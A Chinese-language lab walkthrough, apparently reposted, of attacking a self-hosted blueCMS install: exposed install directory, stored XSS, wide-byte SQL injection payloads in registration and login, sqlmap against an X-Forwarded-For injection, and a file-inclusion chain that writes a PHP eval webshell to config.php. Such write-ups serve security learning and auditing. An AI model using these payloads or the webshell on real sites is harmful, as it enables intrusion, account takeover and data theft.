擼站思路總結


  想要擼一個站點(這里我自己用虛擬機搭建了blueCMS),第一步先收集信息,看看這個站點的目錄;這里用7kbscan-WebPathBrute暴力枚舉,結果如下:

  

  這里居然有robots.txt,真是“此地無銀三百兩”,自己一不小心就暴露了重要的目錄;

   

   1、居然有install目錄,從字眼看, 應該是安裝的,先試試這個:  站點的重要配置就這樣被重置(數據庫的賬號、后台管理員的賬號就這樣丟了;還可以更狠一點,把數據庫的地址、賬號設置成自己的,后續該網站所有的賬號、新聞、評論類數據全都寫入自己的數據庫了;或則通過CSRF,誘導管理員點擊特定鏈接改這一頁的配置);這里應該是訪問權限沒設置好,或則在安裝好后把install目錄整體去掉;

      

  2、網站有個注冊的功能,作為新用戶,當然后試試啦!輸入用戶名,就收到提示:該用戶名可以使用;這里是不是就可以用burp爆破用戶名了?

        

  重新輸入用戶名,還未點擊注冊,就抓到包:注冊碼都沒有,基本等於沒防護;

        

   點擊注冊提交,看到了這個頁面:我們剛才輸入的郵箱被顯示了,這里大概率將用戶的注冊信息寫入數據庫,再從數據庫讀出來展示在頁面,那么就可能存在兩個問題:(1)sql注入(凡是和數據庫交互的地方都可能存在) (2)存儲型XSS

     

   先來看xss:既然展示的是郵箱,這里就在郵箱中用script測試:

 

  抓個包,發現幾個問題:(1)賬號明文傳輸   (2)email被編碼了;不管了,先放過去,看看效果;

     

  成功彈窗,說明存在存儲型XSS漏洞;

  

  查看源碼:腳本確實寫入了;這種存儲型的xss危害相當大,任何人點擊打開這個頁面都會中招;

     

  同理,在我的個人資料欄目,也可以輸入很多信息,全部都輸入腳本,這里在居住地又現彈窗:

     

 郵箱在會員登陸頁面能看到,那么在后台管理員界面應該也能查看,否則管理員怎么管理會員了?所以繼續在admin界面登陸,點擊會員列表,馬上彈窗,出發xss漏洞; 這個xss從前台的會員頁面到后台的管理員界面都能影響,都能讓對方中招,應該是高危漏洞了,還能申請CNVD編號和證書;

    

  會員列表:

     

  3、(1)再來看看sql注入:用戶注冊肯定會和數據庫交互,所以肯定存在sql注入的可能;既然上面是在user.php頁面展示,這里先檢查user.php頁面,看到了如下代碼:

    先把用戶輸入的數據做檢查,看是不是空;如果不是,再檢查長度、模式、用戶是否存在,如果都沒問題,就把用戶輸入的信息寫入數據庫了;這里的漏洞就很明顯了:貌似沒有對輸入做單雙引號、括號校驗,如果在用戶注冊的時候,把email的內容改成讀取數據庫內容的語句,后面再在頁面打開(類似於顯錯注入),豈不是能看到數據庫的內容了?

      

   為了方便,這里直接在注冊頁面抓包,然后用seay的數據庫監控工具,看看insert語句到底是怎么用的,便於后續的注入語句確認:貌似也沒啥特殊的;

  

  直接在包里,把emai字段換成or updatexml(1,concat(0x7e, select database()),提示注冊成功,驗證碼也順帶繞過了:

       

  回到頁面,用剛注冊的賬號登陸,發現郵箱並未顯示數據庫名,而是直接展示了這串命令:

   

  再看看數據庫執行語句:發現整串直接被當成字符串存儲,並未執行按照預期執行:

    

    重來,在我們構造語句前加個單引號,把原來的sql語句閉合,如下:提示注冊成功:   

      

  進入頁面查看,發現還是沒顯示數據庫名稱,還是當成字符串了,再次查看數據庫執行語句,發現單引號被\轉義,當成字符串處理了,這里就需要進一步用寬字符注入,把系統的\匹配掉;  

   重新寫完整的sql語句:INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'test6', md5('test123'), 'test123@123.com',1,1),(100,0x7465737437,md5(0x74657374313233),(select database()),1,1)#', '1599295292', '1599295292')

  這里有幾點注意:

  (1)insert可以同時插入多條數據,這里把查詢數據庫的select databse()放第二條,不動第一條;

    (2)第二條數據不能出現單引號(用寬字符匹配轉義會導致整個字符串不和邏輯),所以把用戶名和密碼先轉成16進制,這里用戶名是test7,密碼是test123,統一轉成16進制后才用;

  (3)email前面用個單引號,和系統原有單引號匹配,但是會被轉義符轉義成字符,

  

  這里在hex窗口找到我們自己加的單引號(16進制是27),在前面加上df,就可以和轉義符配對了:

      

  點擊Go,發現成功注冊:

  

  用剛注冊的test7/test123登陸,發現郵箱這里已經顯示了數據庫的名稱,sql注入完結撒花! 同理,在注冊的時候還可以把郵箱字段該成select xxx from xxx limit 1,1來讀取數據的關鍵信息;

   

   再去看seay的數據庫監控模塊,發現執行insert語句如下:2020/9/5 17:38INSERT INTO blue_user (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', 'testa', md5('test123'), 'a\xDF\',1,1),(100,0x7465737437,md5(0x74657374313233),(select database()),1,1)#', '1599298720', '1599298720');

  用第一條數據,也就是用戶名是testa登陸,發現郵箱如下:就是這一串:a\xDF\,其中df\組合成了那個不認識的漢字:

          

   (2)除了上面用戶注冊需要和數據庫交互,存在sql注入,還可以繼續通過insert語句搜索源碼,看看其他地方是不是也存在sql注入,剛好在comment.php也發現了insert語句;從代碼來看,應該是記錄用戶評論的;這個頁面有兩個參數:list和send,分別是列舉評論和發送評論;insert語句就在發送評論的if分支;

           

     繼續往上回溯,看看這些插入數據庫語句的各個變量是怎么得到的:

    user_id: 從session取,我們改不了;

    type和mood:通過intval強制轉換成整型,這里沒戲;

    content: htmlspecialchars會把單雙引號、&、尖括號等轉成html實體,xss和注入都沒戲了;(這里多說兩句:還有魔術引號,會檢查GET、POST、COOKIE的傳參,這里可以考慮其他http頭,比如user_agent,或則x-forwarded-for等);

    這里只剩getip()函數,應該是記錄comment的來源,便於追述;繼續追溯這個函數,找到其定義如下:ip來自X-Forward-For字段。

    

     思路很清晰了:構造X-Forwarded-For字段來測試sql注入;先在評論頁面抓個包,然后在人為添加X-Forwarded-For字段,如下: 發現報錯,至少說明這里也存在sql注入;由於頁面沒有顯錯點,只能考慮盲注,但使用起來很痛苦,這里考慮sqlmap;

    

   把post包復制,保存成txt文件;為了方便sqlmap跑數據,把X-Forwarded-For: 1'*,1)#     , 1后面的單引號閉合原單引號,* 表示讓sqlmap自由發揮,嘗試各種sql語句;

  這里打個岔:sql發現X-Forwarded-For存在xss漏洞,理論上確實有:X-Forwarded-For字段一般不會被檢查,直接寫入數據庫。如果某個頁面從數據庫讀這個字段,就可能中招;

  

  X-Forwarded-For寫入table('comment')表中,在new.php文件有讀取到$comment_list變量,如果能找到頁面展示,這里就實錘了另一個存儲型xss漏洞;

  

  回到sql注入:從監控看,sqlmap跑了大量的sql語句瘋狂的試探各種注入:

   

  sqlmap也確認存在布爾注入:

   

  盲注只能靠挨個字符去猜,效率無比低下;經過近一個小時的等待,終於dump出了數據庫名:下一個可以繼續dump表名和數據;

  

  4、文件上傳:在我的個人資料這里可以上傳頭像,這里先上傳個小馬:

  

  再復制小馬的地址,嘗試有沒有CGI解析漏洞,發現不行:

      

   怎樣才能讓小馬執行了?正常滲透時,還未侵入對方服務器,改別人的源碼是不可能的,唯一能執行小馬文件的只有文件包含了,這里繼續審查源代碼include、require,看看有沒有沒寫死文件的地方;在user.php,有這么一行代碼如下:中間有一段post傳參,參數的key是pay,這里就可以利用了:

        

   要想執行include,有兩個條件:(1)參數act的value必須是pay,if分支才能執行  (2)include的路徑是include/payment/xxxx/index.php已經寫死,怎么才能執行改變路徑到我們的小馬?

  從源碼看:(1)$act變量申明:$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'default';   所以可以通過GET\POST傳入act參數,value為pay;

                         (2)windows有個特性: 路徑長度不能超過256字節,超過部分就不要了;這里的pay參數后面路徑用.填充,淹沒掉原代碼最后的index.php

                         (3)這里的圖片路徑在post中傳入,再加上這里有特定的cookie,沒法直接連菜刀,只能利用這個從新生成小馬,所以這里圖片馬的語句為:    

<?php
eval(file_put_contents('config.php','<?php eval($_REQUEST[param])?>;'));//先執行外層的eval,調用file_put_contents函數把小馬寫入一個叫做config.php的文件;
?>

  用burp發包結果如下:

   

  在user的同級目錄下,生成了小馬,這里可以直接上菜刀或蟻劍了;

   

  5、繼續到管理員界面:這里有數據庫備份還原選項,點擊后生成備份文件;既然是文件,通過瀏覽器肯定能訪問,但是在哪個目錄了?前面robots不是列舉了很多目錄么?這里通過看源碼,查到目錄為/data/backup目錄(也可以嘗試用burp或7kbscan-WebPathBrute繼續暴力枚舉),

     

 

  直接通過瀏覽器訪問,賬號又暴露了:

      

   6、萬能密碼:登陸時,用seay的mysql監控模塊查到登陸時查詢的語句:2020/9/6 13:21 SELECT COUNT(*) AS num FROM blue_user WHERE user_name='test7' and pwd=md5('test123')

     

  這里同樣可以用sql注入的思路繞過密碼驗證:pwd=md5('test123'),輸入的密碼為 aaa') or 1=1 #, 原語句就變成了: pwd=md5('aaa') or 1=1 #') ,利用 or 1=1返回true;第一次嘗試登陸提示失敗,再用監控模塊查看,發現在密碼框輸入的單引號又被轉義了,系統應該默認開啟了magic_quotes_gpc,凡是post、 get、 cookie傳參一旦發現單雙引號、反斜杠等都會被轉義;這里再次用到寬字節注入,用df和后台的轉義符匹配:

    

 

   重新輸入aaa') or 1=1 #,點擊登陸,同時用burp抓包,在hex界面的單引號前面把a(16進制編碼是61)改成df;

    

 

  成功登陸:

   

 

   執行的sql語句變成這樣:2020/9/6 13:43 SELECT COUNT(*) AS num FROM blue_user WHERE user_name='test7' and pwd=md5('aa\xDF\') or 1=1 #')


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM